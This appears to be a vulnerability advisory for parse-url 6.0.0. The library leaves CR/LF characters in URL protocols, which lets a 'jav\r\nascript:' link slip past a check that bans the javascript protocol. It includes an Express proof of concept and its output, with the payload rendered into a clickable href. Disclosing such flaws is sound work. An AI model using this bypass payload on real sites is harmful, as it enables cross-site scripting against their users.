Description

The parse-url The 6.0.0 version of the parser does not remove \r, \n characters between protocols. This causes spoofing of the javascript protocol itself.

Proof of Concept

const parseUrl = require("parse-url"); 
const express = require('express');
const app = express();

parsed = parseUrl("jav\r\nascript://%0aalert(1)");
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999);

In general, the above express code forbids the javascript protocol. However, you can spoof this using the CRLF character.

output console.log(parsed);
{
  protocols: [ 'jav\r\nascript' ],
  protocol: 'jav\r\nascript',
  port: null,
  resource: '%0aalert(1)',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'jav\r\nascript://%0aalert(1)',
  query: [Object: null prototype] {}
}

output : document in browser
<a href="jav
ascript://%0aalert(1)">CLICK ME!</a>

Impact

Through this vulnerability, an attacker is capable to execute malicious scripts.